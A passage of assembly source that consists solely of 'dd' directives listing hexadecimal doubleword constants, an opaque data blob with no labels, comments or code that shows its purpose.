3CF09A1Ah, 0DA9EB590h, 0A7714D01h, 664F8C23h, 0E33DCh dd 51A6DB29h, 4360955Eh, 4128D800h, 63A4FDB5h, 67AC0E36h dd 0C0404555h, 0D0CBA2F6h, 566C8700h, 0BFFF021Ah, 77997FBAh dd 403000F1h, 82E9C3DBh, 0C6287950h, 3372A83Fh, 9040FA88h dd 0C9F727Eh, 0A581776Ch, 21C00E08h, 60D1D85Ah, 0BB703Ah dd 52340983h, 3DC387C2h, 0CA6DEB00h, 0EFFD289h, 7D61C802h dd 0B9D1BDC0h, 6D4A219Fh, 0D1B5FD60h, 0CB3800C2h, 68BF796Ah dd 1200DC2Ch, 3C2EA865h, 529B6Fh, 0AC0795FBh, 1A687933h dd 0DBD41C0Eh, 8B73A16Ah, 209FFCEAh, 1359B026h, 0C30B47C9h dd 80271BE3h, 0BFCD2C68h, 89300D86h, 5130E7BAh, 0D6269630h dd 637610h, 0A74A65ACh, 4F31A1C7h, 8B43Dh, 0FDEABC2h, 3C5B222Dh dd 580BBE3h, 0ED69C916h, 6A0C60F1h, 5996D1AAh, 0C1A30076h dd 0E1378441h, 366611E4h, 1D211508h, 80C6BB56h, 0F505A616h dd 6601C7F6h, 65554482h, 0E88C0A36h, 1B31A5D0h, 959FB100h dd 912A4DE9h, 0F58E00D9h, 23EA87CEh, 0C6001BADh, 613DCB3Ah dd 6079255h, 0A8B504DDh, 0B00E977h, 7D312738h, 1D0C8588h dd 0C84F0DEh, 2A2005F1h, 9E0B4004h, 0DCC00F5Ch, 60AA8064h dd 0D0738808h, 0C500AD3Fh, 13D46621h, 561229h, 6D026126h dd 3FDC01Eh, 59004A7Eh, 87FB8360h, 1972ABDh, 45FE407Ch dd 20200366h, 0FF00B81Dh, 0BEC292E1h, 0C067D976h, 36473B4Ah dd 3300CACCh, 0B02413A1h, 1943E2h, 20E41250h, 703D696Dh dd 95B71426h, 0DD728900h, 0E4F58646h, 9AE4004Ch, 2C514DCFh dd 327AD12Fh, 0A758A0Eh, 46C100A3h, 0FDD4C0h, 15D66938h dd 0D82E6F90h, 5994E402h, 9D917A71h, 1A41F504h, 1180B019h dd 0CC31F02Fh, 8D3A3A3Fh, 54F1802Eh, 69F9E32Bh, 1921608Bh dd 28979C75h, 1910A789h, 48C37822h, 0D7BFBA1h, 92F8A260h dd 633C0021h, 6000D73h, 0DC8EE69Fh, 3128799h, 0BD5224E3h dd 18009CA6h, 0FB8F0D11h, 776CBA13h, 3CC0F0CAh, 3F3A798Dh dd 0E9AEA20Ch, 85E29950h, 3C70DFh, 8A11E027h, 18A87C3Ah dd 81BB6904h, 80077512h, 29E345A2h, 7AF897B0h, 0A8680003h dd 855B88B1h, 9918836Ch, 21C88159h, 6B8E4071h, 0C7907F00h dd 0E2D68340h, 1202005Ch, 0BA104289h, 0E740BFAh, 0F9CC69C1h dd 0E3DCF8AFh, 31F9C7ADh, 0C179907Ah, 0E277D937h, 5C18EA61h dd 0B4C17038h, 0B096DCh, 5E47FB84h, 0D20CD8FDh, 7D788100h dd 0BEA4E380h, 0F8D5F855h, 2366391Ah, 0EF2F1B85h, 0F4AC43AAh dd 0A0CBAF69h, 0A0C0D86Eh, 0C6CC05D9h, 71F7180Ah, 5B5919A1h dd 28F2FA03h, 80BA1D6Ah, 0C099092Ch, 864D0380h, 0C0A8DF9h dd 98A75C75h, 0FA059603h, 0B87AA2B9h, 846B0424h, 2A13C544h dd 9094C3h, 46033B85h, 3FD7A701h, 3C702200h, 5EF15A7Bh dd 0C9F8008Ah, 0DEE09223h, 1094DBBh, 0B46E0Dh, 74150304h dd 0B0FCA0AAh, 80860C9h, 788FBFD4h, 0F48EB81Ch, 7D973BC0h dd 0FE6F981h, 8DA84F15h, 1150CA85h, 0FC8458B0h, 41B4485Fh dd 405A919Dh, 0D319BCA4h, 753BE30Ah, 74A88050h, 0A8A7344h dd 90275AB8h, 0DA4B81BCh, 8375C7EBh, 0C40AAC48h, 0C3B0007Eh dd 4C775259h, 0E4EC27DDh, 0E018706Fh, 0B7040B0Dh, 6589084h dd 0AEA74A89h, 9B3950D9h, 9C48A459h, 32A99040h, 484C907Dh dd 0C2C574F1h, 90B05488h, 0D484F447h, 83FD4055h, 0C163C819h dd 6846C620h, 7E698E8Ah, 96D4E0B0h, 686CC21Bh, 80FCE092h dd 15E7A62h, 0CC02FBDEh, 5CDC486Dh, 503498A6h, 1401865Eh dd 5FDF8AE4h, 29929FA6h, 0BACC007Eh, 6C76D3FEh, 0C0810C2Ah dd 2744C103h, 0F0A05E75h, 9011850Ah, 2A6E093h, 198AC2D9h dd 6C4B6FC5h, 53050DD0h, 8700C1F8h, 7073476Ch, 5CE0B8Bh dd 0D6BCA285h, 0C884391h, 8802D21Bh, 4AAC322Bh, 45C8976h dd 0AA485250h, 793C1483h, 0A49A00Ch, 0F8C4A4E1h, 836200F2h dd 13963FE4h, 6F003CE7h, 0F9FD6503h, 67895C4h, 0A1F73EAFh dd 7A06B958h, 0D7D5A322h, 0D0F10171h, 4E16E2F2h, 6BFA0090h dd 0E9718A0h, 761181C4h, 0DD7DC09h, 48CCACC3h, 0D5A0089Bh dd 4F187B1Bh, 0C4C3F438h, 417A5728h, 0DA6F8ACEh, 2111E3E3h dd 0F30E6A68h, 1D066A3h, 860E4518h, 6998F1E9h, 7CD21E68h dd 8E650037h, 5EFA3585h, 13FD5F00h, 5359A911h, 0FC6C15BDh dd 2040DCD1h, 0D369008Ch, 0A72AD0F0h, 6F70DBC6h, 0EFFA9006h dd 0B058A3h, 9DBFB1DAh, 22244DF9h, 6059ED24h, 0DC688E1Eh dd 0A6E3FA00h, 5685A82h, 4CCD7014h, 4A38B8D7h, 31DD1218h dd 0CA192592h, 0AA18E749h, 0AC20B7C5h, 690A1529h, 4200D87Bh dd 1332A192h, 0EA05DEA4h, 78D28CF8h, 0BB234490h, 174D1414h dd 0CD85FCADh, 0B10908Bh, 903A9484h, 84403C6h, 0D014D4FDh dd 4805FB7Eh, 8D008777h, 151755F8h, 0CFF896F2h, 98EAE513h dd 3AD92005h, 0A60AB060h, 7C238092h, 98FA9F0Dh, 7DF41081h dd 0C8EB0083h dd 0AFE454CFh, 0D0B15B4Ch, 10ACFE00h, 312D8D1Fh, 6F185F0Bh dd 0B9D7C814h, 0F3B041F9h, 1040CCE2h, 3427072Ch, 41649A0Ch dd 0CF030971h, 8884BA78h, 5E1C80E8h, 0BF000A6Eh, 6A07D9A1h dd 0F840FB7Dh, 1527C1Eh, 0EBF77C6Bh, 311A148Eh, 58F8306Ch dd 4A2C849Ah, 671584D9h, 3A8B1894h, 18430BD0h, 294F2515h dd 5F19EAEBh, 9B31C001h, 0D7605510h, 0C4C90A00h, 65D2E40Ch dd 21E9007Eh, 29D15BC2h, 2290E6D4h, 0F1003FE8h, 0D71BE371h dd 66A6E2h, 6FD56DF7h, 464D8A31h, 3D4F603Fh, 0E0747497h dd 7A2F6300h, 8B7CA634h, 0AF060E2Dh, 27C14A73h, 0FC86EA42h dd 34C14D9h, 8267B3E0h, 2680C6B6h, 49F8A369h, 758E2804h dd 70049C8Bh, 978D3B9Ch, 0AF84C834h, 38C8524Ah, 6E3A2406h dd 13243E8Ch, 495A4668h, 6F21A0A8h, 47BFD26h, 8722C210h dd 20FA9926h, 0BA412544h, 88EB762Eh, 437A0B28h, 5158818Ch dd 0E960603h, 0FA48B3EDh, 0EFB12477h, 93A12ACh, 408F17CCh dd 0C344B308h, 434C130Ah, 28111898h, 1E1959AAh, 18940EAh dd 23055F3Dh, 0B0EEF3FCh, 2F85A900h, 0FDB75EFFh, 77107929h dd 0DE4700A0h, 0B17AA207h, 0F0912731h, 0D26300A6h, 0F176E10Ch dd 70B59C20h, 74A64D4Fh, 60D0E587h, 6D5E1A7Fh, 120228B3h dd 43056E8Ch, 0A065A034h, 49D2FD36h, 0D072E1ACh, 684C6138h dd 4E451DC0h, 132AD449h, 14B08080h, 448AA5Dh, 4475172Ah dd 66A97490h, 96160941h, 24996B57h, 69171797h, 9D242069h dd 130D9F62h, 6741EE4Fh, 8E0468h, 0F2872762h, 49E4AA5Ch dd 0F4109250h, 293AA25Ah, 0D54C5468h, 2AFBB9C2h, 0E508E8F9h dd 3A7C0FF8h, 688E8A9Ah, 0A5D46DE7h, 205C1279h, 0CE9DE10h dd 0A17C7701h, 0D3E57871h, 499B85F0h, 0ED15C0D7h, 7E00EC10h dd 18FB31B3h, 8218DE4Dh, 78A96CCEh, 0F4E90EC2h, 0A0A3386h dd 0CB96876Ch, 0D9B1FC64h, 8D9C6C0Bh, 69AF8173h, 0BC48E4F8h dd 9A1214C2h, 0E2009062h, 9168DCEBh, 0FC2BACABh, 64E4180Bh dd 0CD04BCC0h, 0F16100AAh, 0A0F8B35Eh, 0F432D0FBh, 0C971F1BBh dd 0A88278E0h, 0BA61F341h, 8C6530E0h, 2CF9B81Ch, 0EB2F62C0h dd 28DF9FF4h, 174ADB2h, 0C83FB9E0h, 48E9BA7Eh, 94B8D240h dd 45DBE38h, 26D67EF4h, 20843CA2h, 0F8D02560h, 2C7ED2CBh dd 18F07A07h, 0ECFE31A3h, 75269001h, 4A819927h, 0FC507FD1h dd 16B67Ch, 0DCA09DACh, 47524D0Dh, 6C92B917h, 4490BC01h dd 0D424C6D9h, 6A1337D7h, 3B4D0189h, 5FE02E45h, 90ECA814h dd 0FB6E16F6h, 5E3C0007h, 0D7C778B6h, 64000490h, 46319623h dd 2A6C9327h, 4CA48E29h, 0A330B48Bh, 5E7CEF38h, 0EBA140h dd 0A580268Fh, 3969A15h, 0A9FD673Dh, 1D8808BBh, 0C73B6014h dd 8C0026B9h, 8D2A1728h, 1CEE5E63h, 9DD962h, 0AFB4EB27h dd 690A20E3h, 20E8EA2Fh, 8DC7AB40h, 0E9EB0278h, 8E351F8Ch dd 9C507062h, 527F80A0h, 0DDEE001h, 0D27C5A64h, 27091C28h dd 5021B6C5h, 31222B68h, 8D189324h, 0C4EAFC08h, 41642C6Eh dd 52066E7h, 92134D93h, 100DC00Eh, 14E86F8Ah, 0B604D8FDh dd 0D102D929h, 298E0BE4h, 88192E20h, 0D748E8A0h, 27790204h dd 0E861A62Bh, 4C765360h, 1D177014h, 2206FBB8h, 24F05229h dd 104598Ah, 7A75D20Ch, 0D4E8607Dh, 93F1A961h, 59017C12h dd 0EEB06146h, 0C6B694A5h, 81003874h, 30EA96ECh, 55A4F03h dd 0A095C4FEh, 73083285h, 0C45CE030h, 908DA678h, 93B9620Ch dd 0FDAB9A01h, 6571F339h, 0DB16444Fh, 47D42950h, 293B805Ah dd 6200E794h, 5EEE4E13h, 6A06965h, 0B3F4DD63h, 0E242385Ch dd 85AFE303h, 6100C2F9h, 0BD127071h, 0A9440BACh, 0F9F443D0h dd 2C854EC6h, 0C050FC0h, 8FB97A92h, 0B6A0CC22h, 0A48248B0h dd 0F3040597h, 0E9A40213h, 0B0A0FC7Dh, 6AEF68B3h, 83022FE0h dd 237EF214h, 9F0899A1h, 70126318h, 7C151655h, 2E8C26B0h dd 72B5A503h, 5AAAC8F9h, 0D0244829h, 8A9D4708h, 66FC7A01h dd 48DA1FEAh, 12BED5FCh, 0DC5F2A4Ah, 524024DCh, 0C914267Eh dd 6CD28CB0h, 0E6E1949h, 0D68B0C31h, 7B6600A1h, 252E5554h dd 623DEA02h, 0BCB080C3h, 7CA09308h, 49C7423h, 5D0A118Ch dd 0B3E4F0E0h, 68C4B8F8h, 27009A8Bh, 374816DFh, 52B4CF49h dd 859484B0h, 0B47E841Eh, 2454F6C9h, 0A43E84ECh, 0CE89440Dh dd 18E0ACA1h, 50EE8066h, 0DC8BEA00h, 4693215h, 60B40070h dd 2DCD47D0h, 8A0316DAh, 53905430h, 2661E07Fh, 0F2C300B6h dd 289B45A3h, 0A00DCFEh, 185C383Dh, 0ECC21Eh, 3E3B984Bh dd 4D7DE082h, 2916AB00h, 5BEFBB6Eh, 0C3C900ECh, 1ED1C423h dd 0C8785C0Fh, 93143B01h, 6B47121Ah, 33A392DCh, 0B55899D6h dd 68F7FFC8h, 7303CC7Bh, 7BF2CACh, 2818E836h, 38C560A0h dd 454D1AA4h, 189CDE2Ah, 30BFEC29h, 3242E664h, 0F2604AC2h dd 59004D1Fh, 799BB735h, 0A10B1Bh, 6FE1C7D1h, 0D252DA3Eh dd 0DB0017FAh, 505C2E94h, 98927F99h, 654A0082h, 77B36DA6h dd 18C4EAF3h, 4F211C5Ch, 80F60313h, 3FF592Eh, 12C3E147h dd 1000213Ch, 817552D6h, 0BBDD69h, 6F1D386h, 15E2F447h dd 137E19C0h, 80A051h, 8991F3E4h, 0A272DA7Fh, 1E65C700h dd 2EA8930Ah, 0EFE70C9h, 6706D621h, 30FDEAE0h, 8A0D550h dd 7A0C7391h, 81D8D0D2h, 507C18BBh, 7879A0DFh, 0AC2F8A1Bh dd 0FA57D858h, 6DD418C0h, 17AC193h, 7175B3Ch, 0F1858CB5h dd 0A8455F01h, 70EAC830h, 94131884h, 55DF3191h, 645AF800h dd 73EDF2A5h, 60F5743Dh, 0ADBC2196h, 0DB0002F9h, 7BF06972h dd 1FBC6DAh, 5C3365D8h, 0B8382841h, 0B3CE00A8h, 1CA64ED1h dd 0A3FC0EF3h, 0C08DF28Ch, 0D1066021h, 5C49DF1Eh, 9C1D4840h dd 6F139279h, 1036D1F6h, 250FC8EBh, 0E02FAB93h, 40629986h dd 0B2383052h, 534330D7h, 0CECA0A00h, 0EE3DC3A9h, 96CDFB01h dd 0BB02F857h, 0CC8FC4h, 0DCE0F349h, 7D1573F6h, 0BF4300C9h dd 5606D4FAh, 937ABD0Eh, 0DD5D5214h, 0CC4168FCh, 0C8AA640Fh dd 30861DEFh, 2D911051h, 0DDD3BE00h, 0C2E267A4h, 0D6250077h dd 0EAF2612Ah, 4210F3B6h, 0F3AFFEDh, 5886AD0Ch, 0AB01B959h dd 0BA71161Fh, 51C5D21Ch, 61A00898h, 1F00AC12h, 87192649h dd 271135Bh, 4ED5A7B4h, 0F8A0F71Ch, 48C77621h, 0C17970C0h dd 1CD2BDB0h, 80A48C24h, 9D1DB8Dh, 0B700694Ch, 0FA3846A6h dd 2415179Fh, 718FC55h, 606C300Dh, 256A8B47h, 10767400h dd 0CF88DC1Bh, 0BE17002Dh, 8FDE1C75h, 7000F9Ch, 0FA40A498h dd 0EF48BA1h, 37367170h, 0C4F7B020h, 0EF0F4C5Ch, 92E69DBBh dd 87929600h, 446F0h, 5B7C3D2Dh, 510EA698h, 49D37400h dd 2573CD57h, 677E60h, 0C9AD0890h, 3804C7D5h, 0E7BC950Ah dd 351E8431h, 79C0A5DCh, 0E560DEC0h, 4CE40CCFh, 7A4106A7h dd 83DAD37h, 0FB07E80h, 0BFF31D66h, 2F5E0646h, 3C002870h dd 44890949h, 0DE333Eh, 3120010Bh, 0EEBA4861h, 0D08F2501h dd 2B65E83Dh, 4DDB7880h, 6192D353h, 4F8C3E0Eh, 0D6E3A627h dd 2E074318h, 0FB03FBB0h, 0B01D46A5h, 8BB6CCh, 5406603Fh dd 0B45A0548h, 2B60F8FAh, 42BE0470h, 4A6D0683h, 4820777Bh dd 38364B00h, 17A47662h, 5990FEDh, 0D02C358Fh, 0BA1BACE9h dd 907994C3h, 6AD07A2h, 9BBB4DB2h, 460E497Eh, 8525A5E1h dd 8C404926h, 50013460h, 8C80C239h, 8C800C1Dh, 0F7EC6957h dd 0A8E3C00h, 755949CCh dd 0BFD00732h, 41534CFFh, 0C85EB365h, 6000B647h, 5F7C266Bh dd 0B83E0415h, 167F0FD6h, 27004146h, 0BE4A1D33h, 6A5F4407h dd 7AF3E6A1h, 986DD3DAh, 0E1B9A48Fh, 0B8EEF3CFh, 6031DF98h dd 2F1A509Ch, 474E4054h, 13056C1h, 7877ECE0h, 0A8C40039h dd 2B5BDA0Fh, 8C0D542h, 1740AE4Ah, 0E5FD01CCh, 2DA08A8Dh dd 1958E0CAh, 6ED13800h, 90A3F5CDh, 0AA70C034h, 0FDE4D808h dd 0E1405C60h, 7F2A4E8h, 1F1937BCh, 0C9607F56h, 0F78F7188h dd 81918400h, 0C202C6E6h, 0AE9E0390h, 69D418B9h, 5305017h dd 0A7661701h, 0F8804882h, 0DB9B4D2Bh, 530C633Ah, 0E08F8DD8h dd 0AEF70002h, 37F5C9F1h, 0BD001318h, 0E7819B26h, 4CBF78A6h dd 62194D2Ah, 40BB484Ch, 0D5365C88h, 0B8AE183Eh, 25B960EFh dd 74FD03h, 3986CFABh, 0E518539Dh, 0FE0EF2FEh, 95F1FAB0h dd 3F0900C4h, 11ED40Ah, 9FC500F0h, 0C05A9D4Ch, 7119BADDh dd 3B97385h, 0A042E960h, 1F2FC4C0h, 7628029h, 8CAD0C9Ah dd 9B0EBA50h, 20A92454h, 0ECB1DD96h, 765A03BCh, 0B209AE64h dd 0C51A7EE8h, 0DEED2E00h, 61675836h, 0E4FA4Ah, 80635434h dd 70EA533Bh, 29DD5A31h, 320057AAh, 6501791Dh, 370D40A0h dd 0EBF3111Ch, 901C80Eh, 7A7801C6h, 0F1BAF469h, 2C87C450h dd 8B341E1Eh, 3C4CB900h, 7E6CA2h, 0C838C6C9h, 0BB372DFAh dd 3ED40E07h, 603F4FF3h, 1393956Eh, 88E7004Bh, 820799AEh dd 0A13FD010h, 0ECDF800Ah, 0C2D99296h, 63D10045h, 2E30E83Bh dd 0E601B755h, 0AF6C6166h, 84505223h, 7503Dh, 45EA1DD3h dd 0D84019Eh, 0E287F300h, 0A2FBB268h, 0A6EE0F7Eh, 4420289Dh dd 22FCE16Ah, 0C0D68700h, 0B83E7008h, 29A33911h, 6D780500h dd 42F4B2C9h, 73E94600h, 0C64148AFh, 0FC22007Ah, 831BF21Ah dd 0CD05A51Ch, 0EF579E71h, 0C9BEB1C0h, 58B00D9h, 9DDF9BB4h dd 2302E04Dh, 0AAE97E3Ah, 0A8DA4069h, 8EF800A9h, 85FD53C6h dd 0D0006436h, 43FA1A91h, 34C549Dh, 0C7319E70h, 0BAF9DED7h dd 0A990D462h, 0C2B33D1Eh, 728F80F9h, 0B663736Dh, 3C4B0703h dd 0D03E801Eh, 5E60A253h, 4900A0B8h, 0CDD248F5h, 34C1FDh dd 0DF78038Dh, 0D910A9B1h, 0BECFCA00h, 0E7FC8CECh, 1AC86026h dd 740F8FE5h, 8F72C00h, 0F946AAC2h, 229E01FCh, 53E173B4h dd 0E59CCCF8h, 20CE0C0Eh, 0A22B8E41h, 4086EF69h, 23AD2Bh dd 0DC3E1418h, 9C509D5Ch, 0CC95F000h, 0EA5B2845h, 6DF200EFh dd 0CE1C3C9Eh, 2400F126h, 0C28DC756h, 9C41528h, 0F39BEBFDh dd 0DE40668Fh, 59F4043h, 0BAD2A900h, 4D2AE79Ch, 11DD37E9h dd 2082D346h, 707D4CD0h, 80020771h, 0A529BDFFh, 56BE6058h dd 0AF1E00D9h, 0C3F62657h, 1103AA96h, 0F5DCAD1Ch, 0E7E888F0h dd 0A01E1255h, 2E6000DBh, 0CF08E934h, 9514D903h, 5F882Dh dd 5E929166h, 0DFF6C387h, 30640400h, 93D378F1h, 68C8618Fh dd 2085361Ah, 5B00A254h, 38CE18E4h, 20C84B3h, 0B93BFC31h dd 0E4C0889Eh, 0F04DBA3h, 0BF3AE8C0h, 0B9305883h, 55EA69E2h dd 99937DE3h, 101BF2CFh, 3C3099C0h, 0C407B100h, 29E50AABh dd 61EE0058h, 0FBCA061Ch, 6700FC65h, 6CAE15BCh, 7E5931A9h dd 145B8D8h, 0B540E69Ch, 0F8930AD7h, 0DD071C66h, 422302A6h dd 0AC053CD5h, 0E431C8B1h, 9887C4C7h, 0C0050863h, 864C4212h dd 786FCB01h, 624916F6h, 54FBECh, 8AE6B136h, 0C2A90A8Dh dd 106EE3Dh, 87F8F95Ah, 0E025216Dh, 0E44160h, 15D9E688h dd 0BF82BBF2h, 0A240D701h, 4D254513h, 4749E4h, 3A8834E7h dd 4EA6EB9Eh, 55DB7A16h, 14300107h, 61D9D130h, 0F76E00CDh dd 0FF45DFA6h, 2384C59h, 0EC178EB0h, 27F40081h, 116541h dd 0AC4EF0BEh, 0F90A5671h, 59B28200h, 0BDB7E288h, 4861607Ah dd 4A505D8Eh, 927DD039h, 7B004C8Ch, 0AEBA9930h, 88790059h dd 0C47758C5h, 890003D9h, 0A417C93Eh, 0D8D1FAh, 0A9671695h dd 22907C11h, 8E8391B0h, 8B3D0CBh, 0A064F4D2h, 6A7F0D03h dd 894FA5E9h, 0A8306B37h, 0B1F413h, 0E125BC55h, 9D5A22EEh dd 0DCAEB800h, 0E0014C50h, 2422B880h, 0C07115h, 9D6EF2EAh dd 2D280CAEh, 28389853h, 19750099h, 675A72CDh, 0BC6900D5h dd 0BE2BD42Ah, 0ADE695EDh, 80145339h, 590752B9h, 1D433C3Dh dd 8094D4C5h, 6A99E141h, 92079C6Ch, 1C9563BFh, 0C16659B0h dd 8B820027h, 0CFDE9FAFh, 0C2020A83h, 8F0E99D4h, 0BAAC80E5h dd 7F6AE332h, 71D00A7h, 630D9252h, 210F6065h, 0C06C73D0h dd 8FB12B9Dh, 46F6F9h, 1E6922FDh, 4B15B8F8h, 4A997800h dd 0AA3AF112h, 864D007Ch, 8FEA50BEh, 3B0C3909h, 1873AF3Dh dd 3C88001Fh, 9DF03295h, 0E3007AE6h, 0B298113Bh, 12574276h dd 0CF8D2Bh, 0D6287B7Ch, 77F4C0F6h, 50928EE0h, 803B4C24h dd 79081281h, 0A840A85Ah, 60E62C5Eh, 0B82A308Bh, 4900D5BCh dd 0D7CB1D82h, 5144437h, 9865015Bh, 0DEA4C0C6h, 897C0981h dd 0DC495900h, 0B54A1EBCh, 0D17434h, 2505F016h, 0C38E8022h dd 64146F00h, 0E9188577h, 3F1F00C1h, 1529D8C0h, 0E0005ACFh dd 0B520E8E6h, 62F64B84h, 4260B1A6h, 20C00F57h, 50B66F9Ah dd 0B29B0064h, 0CB5DF8A4h, 0EE0345B1h, 6BF20220h, 11B9001Fh dd 1A73F913h, 9603B426h, 0E5E72D39h, 1C2CE8E2h, 60EA6018h dd 93B447A9h, 340144BAh, 9B8843FBh, 0BEC4A555h, 71C9857h dd 0ED8A6FD4h, 0D0ECF529h, 0C8609650h, 21B753Ch, 0F911B67Eh dd 8877407Fh, 0E44E0155h, 0E08CCF5Ah, 0F0C4DC06h, 4C0B853Eh dd 319E3B2Bh, 2CCD301Fh, 2FED2840h, 13A09899h, 55F4E03h dd 2D6CC02h, 5971B610h, 9CD26468h, 77B0E6EAh, 0C40C82F2h dd 0C99E07C8h, 0A07554A8h, 0E620C1D2h, 70366864h, 18000398h dd 37BFB33Bh, 0DC285Eh, 7AB71488h, 0DDB05720h, 4493E101h dd 6D5B4296h, 3B130C0h, 0ABB8753Eh, 0DAA0FBA6h, 0AA0F1584h dd 0C62EDF49h, 3F995CCAh, 4CBE9EB7h, 0EDB0A680h, 0E6615BEFh dd 0FC0102E2h, 87824704h, 0A080A854h, 5725BE77h, 0BB0F262Ah dd 5F44990Bh, 0C161810Ch, 15B62CA9h, 0C9110155h, 98696E7Eh dd 56218509h, 0D96B00EDh, 702830E6h, 8900A34Fh, 2949F674h dd 18F2BE96h, 304B21A9h, 0EF24E9E3h, 894030CAh, 61FC7C44h dd 0CC9EC2C4h, 540899ACh, 7CF08BD1h, 461928B5h, 9F6F00FDh dd 3DA72E82h, 0D806733Eh, 450DBF47h, 2CA97231h, 1393F72h dd 7085B3Eh, 0D820B28Dh, 140E30ECh, 0F1119411h, 80B88F88h dd 61E96BEAh, 5772CCh, 2329C382h, 285B04F6h, 982A9715h dd 0F82398h, 1180143Ah, 44867F51h, 0C600AD81h, 1E46D76Bh dd 0AB8329h, 4F076A60h, 0D3A94CE9h, 3A0A1218h, 632FC0h dd 6EE632F5h, 0DE605386h, 0E0A5D600h, 0A3135627h, 0AF3A0174h dd 0C26C6B83h, 71BCE068h, 30598F00h, 0AE28A77Bh, 0D1CB004Eh dd 0A0038EBBh, 460EC5FFh, 0FFB8011Fh, 0AD547207h, 51957E30h dd 0F4BA3A79h, 0EEFF280h, 158E6D42h, 2C48D800h, 73C05E80h dd 0B9640003h, 98A66F88h, 2874BD22h, 0B01D191Eh, 5D573F44h dd 0C17980AEh, 0B20092E2h, 0D71B052Ch, 3A10D2h, 6EB114BBh dd 670C44Ah, 0AC7B1C00h, 0FADED93Eh, 0DF930105h, 5741E322h dd 76143074h, 0D4272D00h, 4F97A140h, 1230C066h, 984DC23Ch dd 771B2E00h, 0B845CAF3h, 6BE50076h, 0AC7A7569h, 784406ABh dd 67E1007Ch, 70A056B1h, 0CE1D0E18h, 949F98C5h, 0D50844C0h dd 0E80D19h, 74BE2641h dd 9215B10Eh, 141B7E00h, 0A58D2F52h, 9FCA017Dh, 3124F7AFh dd 98C08412h, 46C09206h, 7C6F1346h, 5AC0002Ah, 3FCBE38h dd 19079652h, 0FF46A0EFh, 0E5AD0DF0h, 7D3A3861h, 7FA8C87Eh dd 9239980h, 56D41Dh, 1F2011B4h, 0C5F99126h, 0A3941C1Eh dd 0EF827000h, 0FB5D86E3h, 904D1E8Eh, 208F0C86h, 0EB7A5A1Ch dd 32784C83h, 639D82DEh, 70238009h, 59770035h, 123B333Ah dd 0BD71C8ACh, 0F41038C1h, 0A420E676h, 1D890749h, 46867111h dd 0AB0021C5h, 9633E6EEh, 3DC8521h, 8952A68h, 0FBE3315Bh dd 0C31F1CF8h, 5E26613h, 0F8C0B401h, 64869435h, 48AA0B77h dd 0F70083F0h, 0DB3118DCh, 3A289CE1h, 2E18FC63h, 8B6A2020h dd 0A482DD00h, 2A65BAB3h, 0C8EE67D2h, 0B656D298h, 8821D1C2h dd 8B259910h, 97B039h, 2E4FE8AFh, 1F87951h, 0AAC8CF2h dd 20886DA9h, 0E07376FCh, 4AF91B00h, 0BC91B82Eh, 0F66503D8h dd 0C13551B0h, 5000CBABh, 0CEEBFFA3h, 7634E7h, 4E99579Fh dd 11A4A8FCh, 5A20CFh, 1317A6FFh, 0ECD700C8h, 8526A0C5h dd 2A1E77F7h, 59300F3Eh, 6014BCE3h, 0F234C806h, 7F006308h dd 0FA55A0FCh, 7E958Fh, 1E0B3320h, 14619B6Dh, 2CDE4800h dd 0F05E06A1h, 0FFE1004Ah, 72C9F93Ch, 66F6BA4Ch, 8A35BE00h dd 0BDE5254Eh, 7CFD00AEh, 63B3F8A6h, 0F2008E92h, 90FBCFA5h dd 6CB525h, 0E17B684Dh, 0C923D4D1h, 309A5A30h, 0E1480h dd 5022EFCh, 0AA987A42h, 0F46FF503h, 0C8E00F07h, 30C90Ah dd 38832EF6h, 988D10A1h, 0AD66EF00h, 0B2D99D6Eh, 0B532001Ah dd 99035360h, 0F00EA0Dh, 0C15DA622h, 0FC2A5D9h, 2C463FEFh dd 0E31976A1h, 27D7D80Eh, 0A887B60h, 0E6C1B83h, 0E9968DDFh dd 0B0F7E060h, 4D0E362Ah, 60D402FEh, 4601AC86h, 0F6C90333h dd 8449FB4Bh, 885E8790h, 0AE09360h, 37A1CCh, 0BF4E3E51h dd 6E1531B9h, 0DE2651Fh, 384C078Ch, 3CCB7464h, 0AA00B5A5h dd 2535F996h, 2E07F70Ch, 1CF8EF91h, 0D9563630h, 5D881D90h dd 2EA4DD94h, 652800C6h, 0A9BDA842h, 0E378A602h, 80038918h dd 0CB01E7EEh, 301A007Eh, 0A9159F9Ch, 0A36125BDh, 802D5029h dd 12CCFD01h, 0C1288581h, 0D0D1141Eh, 0CEA4911h, 50796ECCh dd 7B4D075Dh, 706325E3h, 0DB23F59h, 4700B0FAh, 0B9F7E1E5h dd 2EC737h, 4EE29D60h, 0E98F965h, 0CE97A026h, 30B0C400h dd 0EAF285A7h, 0A8E038h, 98FAD2CFh, 3524B8DDh, 9242EF0Fh dd 0E0576E0Bh, 0CA08CB81h, 68450328h, 6B36A698h, 60A0AAC8h dd 0AE4C5000h, 23759CCh, 0DAF100B9h, 0D412CA78h, 1600B6D5h dd 0B5B7E7CDh, 0E668A5Bh, 52E82B2Eh, 0FD015780h, 0C1E33BF1h dd 0ECBCFC95h, 0A6A57500h, 33855035h, 44A20140h, 0A8780F74h dd 1C44087h, 9400EAF6h, 454BD865h, 7671DDF1h, 38EF2C3h dd 70926B49h, 0ADA0D262h, 2F0C3FA2h, 1096A075h, 0B6020056h dd 542E653Bh, 42051A20h, 0DD37BBC6h, 91815780h, 7C80A0A7h dd 26B800D8h, 0A1C30887h, 0A8EAC13Fh, 180A7100h, 0C00BBACFh dd 0E303005Dh, 86B1F98Dh, 340052FBh, 4DCB9001h, 0E8E64636h dd 0FC781DA5h, 0F04580C6h, 476D9CEDh, 73615400h, 0C1F29E72h dd 757100B8h, 851E42BAh, 0DE03CA80h, 31DB3026h, 7FA6A9F9h dd 0AD9E2080h, 0E75EEF2Eh, 20C9ED0Fh, 0E46C607Ah, 0DD6DF4h dd 0A0C02331h, 77D86B54h, 3A343B00h, 0B01EBE41h, 0E90F165Ch dd 767300CAh, 2C329BECh, 821FDC00h, 0D4CBA92Bh, 0A5880370h dd 0F88C447Bh, 0D0189190h, 59F04Ch, 0C41DBD74h, 2FF7CBh dd 0A1634ED6h, 9C9FF660h, 0BB64A700h, 3593DEF3h, 9E460742h dd 0F07CC9DDh, 0B2724E17h, 0CB5BD400h, 0F42C8506h, 204203FBh dd 0D2F9E5EEh, 114963E8h, 7CBA613Ah, 0D30054F2h, 72D6703Eh dd 0E90D2327h, 1EAD3AC8h, 87F4E21Eh, 7F2909A1h, 70AE79C0h dd 0F100BB7Eh, 1CC6F50Ah, 0C00691E5h, 7228B850h, 7C1CF2E3h dd 0B9008D19h, 0A104E735h, 81C10027h, 0B4A9C65Dh, 9700E096h dd 7C46058Fh, 